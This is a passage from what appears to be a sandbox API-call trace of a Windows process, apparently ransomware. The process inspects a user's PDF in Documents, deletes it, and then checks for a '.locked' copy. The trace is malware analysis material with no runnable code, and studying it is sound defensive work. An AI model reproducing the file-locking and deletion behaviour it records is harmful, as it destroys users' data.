EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae6d8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae6d8*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x39, [1]=0x19, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0131.687] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99ae768*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x3a, [1]=0x19, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99ae768*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x3a, [1]=0x19, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0131.689] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\1JpsPqnpISzxCGT8h\\X2jUDm7UI3Bf1ICa73D\\RCk4e.pdf" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\1jpspqnpiszxcgt8h\\x2judm7ui3bf1ica73d\\rck4e.pdf")) returned 0x20 [0131.690] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\1JpsPqnpISzxCGT8h\\X2jUDm7UI3Bf1ICa73D\\RCk4e.pdf", nBufferLength=0x105, lpBuffer=0x99adfa0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Documents\\1JpsPqnpISzxCGT8h\\X2jUDm7UI3Bf1ICa73D\\RCk4e.pdf", lpFilePart=0x0) returned 0x4f [0131.690] GetFileAttributesW (lpFileName="C:\\" (normalized: "c:")) returned 0x16 [0131.690] GetFileAttributesW (lpFileName="C:\\" (normalized: "c:")) returned 0x16 [0131.691] GetFullPathNameW (in: lpFileName="C:\\", nBufferLength=0x105, lpBuffer=0x99adf24, lpFilePart=0x0 | out: lpBuffer="C:\\", lpFilePart=0x0) returned 0x3 [0131.691] GetFullPathNameW (in: lpFileName="C:\\.", nBufferLength=0x105, lpBuffer=0x99adebc, lpFilePart=0x0 | out: lpBuffer="C:\\", lpFilePart=0x0) returned 0x3 [0131.691] GetFileAttributesW (lpFileName="C:\\Users" (normalized: "c:\\users")) returned 0x11 [0131.691] GetFileAttributesW (lpFileName="C:\\Users" (normalized: "c:\\users")) returned 0x11 [0131.691] GetFullPathNameW (in: lpFileName="C:\\Users", nBufferLength=0x105, lpBuffer=0x99adf24, lpFilePart=0x0 | out: lpBuffer="C:\\Users", lpFilePart=0x0) returned 0x8 [0131.691] GetFullPathNameW (in: lpFileName="C:\\Users\\.", nBufferLength=0x105, lpBuffer=0x99adebc, lpFilePart=0x0 | out: lpBuffer="C:\\Users", lpFilePart=0x0) returned 0x8 [0131.691] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps" (normalized: "c:\\users\\ciihmnxmn6ps")) returned 0x10 [0131.691] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps" (normalized: "c:\\users\\ciihmnxmn6ps")) returned 0x10 [0131.691] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps", nBufferLength=0x105, lpBuffer=0x99adf24, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps", lpFilePart=0x0) returned 0x15 [0131.691] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\.", nBufferLength=0x105, lpBuffer=0x99adebc, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps", lpFilePart=0x0) returned 0x15 [0131.691] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents" (normalized: "c:\\users\\ciihmnxmn6ps\\documents")) returned 0x11 [0131.691] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents" (normalized: "c:\\users\\ciihmnxmn6ps\\documents")) returned 0x11 [0131.692] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents", nBufferLength=0x105, lpBuffer=0x99adf24, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Documents", lpFilePart=0x0) returned 0x1f [0131.692] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\.", nBufferLength=0x105, lpBuffer=0x99adebc, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Documents", lpFilePart=0x0) returned 0x1f [0131.692] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\1JpsPqnpISzxCGT8h" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\1jpspqnpiszxcgt8h")) returned 0x10 [0131.692] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\1JpsPqnpISzxCGT8h" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\1jpspqnpiszxcgt8h")) returned 0x10 [0131.692] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\1JpsPqnpISzxCGT8h", nBufferLength=0x105, lpBuffer=0x99adf24, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Documents\\1JpsPqnpISzxCGT8h", lpFilePart=0x0) returned 0x31 [0131.692] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\1JpsPqnpISzxCGT8h\\.", nBufferLength=0x105, lpBuffer=0x99adebc, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Documents\\1JpsPqnpISzxCGT8h", lpFilePart=0x0) returned 0x31 [0131.692] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\1JpsPqnpISzxCGT8h\\X2jUDm7UI3Bf1ICa73D" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\1jpspqnpiszxcgt8h\\x2judm7ui3bf1ica73d")) returned 0x10 [0131.692] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\1JpsPqnpISzxCGT8h\\X2jUDm7UI3Bf1ICa73D" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\1jpspqnpiszxcgt8h\\x2judm7ui3bf1ica73d")) returned 0x10 [0131.692] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\1JpsPqnpISzxCGT8h\\X2jUDm7UI3Bf1ICa73D", nBufferLength=0x105, lpBuffer=0x99adf24, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Documents\\1JpsPqnpISzxCGT8h\\X2jUDm7UI3Bf1ICa73D", lpFilePart=0x0) returned 0x45 [0131.692] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\1JpsPqnpISzxCGT8h\\X2jUDm7UI3Bf1ICa73D\\.", nBufferLength=0x105, lpBuffer=0x99adebc, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Documents\\1JpsPqnpISzxCGT8h\\X2jUDm7UI3Bf1ICa73D", lpFilePart=0x0) returned 0x45 [0131.693] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\1JpsPqnpISzxCGT8h\\X2jUDm7UI3Bf1ICa73D\\RCk4e.pdf" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\1jpspqnpiszxcgt8h\\x2judm7ui3bf1ica73d\\rck4e.pdf")) returned 0x20 [0131.693] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\1JpsPqnpISzxCGT8h\\X2jUDm7UI3Bf1ICa73D\\RCk4e.pdf", nBufferLength=0x105, lpBuffer=0x99adf28, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Documents\\1JpsPqnpISzxCGT8h\\X2jUDm7UI3Bf1ICa73D\\RCk4e.pdf", lpFilePart=0x0) returned 0x4f [0131.693] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\1JpsPqnpISzxCGT8h\\X2jUDm7UI3Bf1ICa73D\\RCk4e.pdf", nBufferLength=0x105, lpBuffer=0x99adebc, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Documents\\1JpsPqnpISzxCGT8h\\X2jUDm7UI3Bf1ICa73D\\RCk4e.pdf", lpFilePart=0x0) returned 0x4f [0131.693] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\1JpsPqnpISzxCGT8h\\X2jUDm7UI3Bf1ICa73D\\RCk4e.pdf", nBufferLength=0x105, lpBuffer=0x99ae064, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Documents\\1JpsPqnpISzxCGT8h\\X2jUDm7UI3Bf1ICa73D\\RCk4e.pdf", lpFilePart=0x0) returned 0x4f [0131.693] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ae524) returned 1 [0131.694] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\1JpsPqnpISzxCGT8h\\X2jUDm7UI3Bf1ICa73D\\RCk4e.pdf", nBufferLength=0x105, lpBuffer=0x99ae02c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Documents\\1JpsPqnpISzxCGT8h\\X2jUDm7UI3Bf1ICa73D\\RCk4e.pdf", lpFilePart=0x0) returned 0x4f [0131.695] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\1JpsPqnpISzxCGT8h\\X2jUDm7UI3Bf1ICa73D\\RCk4e.pdf\\", nBufferLength=0x105, lpBuffer=0x99ae000, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Documents\\1JpsPqnpISzxCGT8h\\X2jUDm7UI3Bf1ICa73D\\RCk4e.pdf\\", lpFilePart=0x0) returned 0x50 [0131.695] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\1JpsPqnpISzxCGT8h\\X2jUDm7UI3Bf1ICa73D\\RCk4e.pdf\\*", lpFindFileData=0x99ae24c | out: lpFindFileData=0x99ae24c) returned 0xffffffff [0131.695] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ae4e8) returned 1 [0131.696] CoTaskMemAlloc (cb=0x404) returned 0x8eb8930 [0131.696] FormatMessageW (in: dwFlags=0x3200, lpSource=0x0, dwMessageId=0x10b, dwLanguageId=0x0, lpBuffer=0x8eb8930, nSize=0x200, Arguments=0x0 | out: lpBuffer="The directory name is invalid.\r\n") returned 0x20 [0131.696] CoTaskMemFree (pv=0x8eb8930) [0131.697] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\1JpsPqnpISzxCGT8h\\X2jUDm7UI3Bf1ICa73D\\RCk4e.pdf" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\1jpspqnpiszxcgt8h\\x2judm7ui3bf1ica73d\\rck4e.pdf")) returned 0x20 [0131.697] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\1JpsPqnpISzxCGT8h\\X2jUDm7UI3Bf1ICa73D\\RCk4e.pdf", nBufferLength=0x105, lpBuffer=0x99adff0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Documents\\1JpsPqnpISzxCGT8h\\X2jUDm7UI3Bf1ICa73D\\RCk4e.pdf", lpFilePart=0x0) returned 0x4f [0131.697] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\1JpsPqnpISzxCGT8h\\X2jUDm7UI3Bf1ICa73D\\RCk4e.pdf", nBufferLength=0x105, lpBuffer=0x99adf6c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Documents\\1JpsPqnpISzxCGT8h\\X2jUDm7UI3Bf1ICa73D\\RCk4e.pdf", lpFilePart=0x0) returned 0x4f [0131.697] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ae448) returned 1 [0131.697] GetFileAttributesExW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\1JpsPqnpISzxCGT8h\\X2jUDm7UI3Bf1ICa73D\\RCk4e.pdf" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\1jpspqnpiszxcgt8h\\x2judm7ui3bf1ica73d\\rck4e.pdf"), fInfoLevelId=0x0, lpFileInformation=0x6afedcc | out: lpFileInformation=0x6afedcc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xba73a6a0, ftCreationTime.dwHighDateTime=0x1d49e2f, ftLastAccessTime.dwLowDateTime=0x6753de20, ftLastAccessTime.dwHighDateTime=0x1d4a732, ftLastWriteTime.dwLowDateTime=0x6753de20, ftLastWriteTime.dwHighDateTime=0x1d4a732, nFileSizeHigh=0x0, nFileSizeLow=0x4c88)) returned 1 [0131.697] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ae444) returned 1 [0131.697] DeleteFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\1JpsPqnpISzxCGT8h\\X2jUDm7UI3Bf1ICa73D\\RCk4e.pdf" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\1jpspqnpiszxcgt8h\\x2judm7ui3bf1ica73d\\rck4e.pdf")) returned 1 [0131.699] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae704*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae704*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x3a, [1]=0x19, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0131.699] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99ae3a0, nSize=0x100 | out: lpBuffer="") returned 0x0 [0131.700] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99ae778*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae778*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x3b, [1]=0x19, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0131.700] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae6d8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae6d8*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x3a, [1]=0x19, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0131.700] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99ae768*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x3b, [1]=0x19, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99ae768*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x3b, [1]=0x19, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0131.701] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\1JpsPqnpISzxCGT8h\\X2jUDm7UI3Bf1ICa73D\\RCk4e.pdf.locked" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\1jpspqnpiszxcgt8h\\x2judm7ui3bf1ica73d\\rck4e.pdf.locked")) returned 0x20 [0131.702] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\1JpsPqnpISzxCGT8h\\X2jUDm7UI3Bf1ICa73D\\RCk4e.pdf.locked" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\1jpspqnpiszxcgt8h\\x2judm7ui3bf1ica73d\\rck4e.pdf.locked")) returned 0x20 [0131.702] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\1JpsPqnpISzxCGT8h\\X2jUDm7UI3Bf1ICa73D\\RCk4e.pdf.locked", nBufferLength=0x105, lpBuffer=0x99ae058, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Documents\\1JpsPqnpISzxCGT8h\\X2jUDm7UI3Bf1ICa73D\\RCk4e.pdf.locked", lpFilePart=0x0) returned 0x56 [0131.702] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\1JpsPqnpISzxCGT8h\\X2jUDm7UI3Bf1ICa73D\\RCk4e.pdf.locked", nBufferLength=0x105, lpBuffer=0x99ae01c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Documents\\1JpsPqnpISzxCGT8h\\X2jUDm7UI3Bf1ICa73D\\RCk4e.pdf.locked", lpFilePart=0x0) returned 0x56 [0131.702] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae704*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae704*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x3b, [1]=0x19, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0131.702] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\1JpsPqnpISzxCGT8h\\X2jUDm7UI3Bf1ICa73D\\RCk4e.pdf", nBufferLength=0x105, lpBuffer=0x99ae244, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Documents\\1JpsPqnpISzxCGT8h\\X2jUDm7UI3Bf1ICa73D\\RCk4e.pdf", lpFilePart=0x0) returned 0x4f [0131.702] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99ae3a0, nSize=0x100 | out: lpBuffer="") returned 0x0 [0131.702] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99ae778*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae778*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x3c, [1]=0x19, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0131.702] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae6d8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae6d8*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x3b, [1]=0x19, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0131.703] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99ae768*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x3c, [1]=0x19, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99ae768*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x3c, [1]=0x19, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0131.706] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae704*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae704*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x3c, [1]=0x19, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0131.706] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99ae3a0, nSize=0x100 | out: lpBuffer="") returned 0x0 [0131.706] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99ae778*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae778*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x3d, [1]=0x19, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0131.706] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae6d8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae6d8*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x3c, [1]=0x19, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0131.706] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99ae768*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x3d, [1]=0x19, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99ae768*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x3d, [1]=0x19, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0131.708] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae704*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae704*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x3d, [1]=0x19, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0131.708] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99ae3a0, nSize=0x100 | out: lpBuffer="") returned 0x0 [0131.709] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99ae778*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae778*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x3e, [1]=0x19, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0131.709] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae6d8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae6d8*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x3d, [1]=0x19, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0131.709] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99ae768*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x3e, [1]=0x19, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99ae768*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x3e, [1]=0x19, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0131.710] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae704*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae704*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x3e, [1]=0x19, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0131.711] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99ae3a0, nSize=0x100 | out: lpBuffer="") returned 0x0 [0131.711] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99ae778*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae778*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x3f, [1]=0x19, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0131.711] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae6d8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae6d8*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x3e, [1]=0x19, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0131.711] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99ae768*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x3f, [1]=0x19, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99ae768*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x3f, [1]=0x19, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0131.713] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae704*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae704*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x3f, [1]=0x19, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0131.713] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99ae3a0, nSize=0x100 | out: lpBuffer="") returned 0x0 [0131.713] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99ae778*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae778*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x40, [1]=0x19, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0131.713] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae6d8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae6d8*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x3f, [1]=0x19, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0131.713] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99ae768*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x40, [1]=0x19, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99ae768*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x40, [1]=0x19, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0131.715] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae704*(Data1=0x0, Data2=0x0, 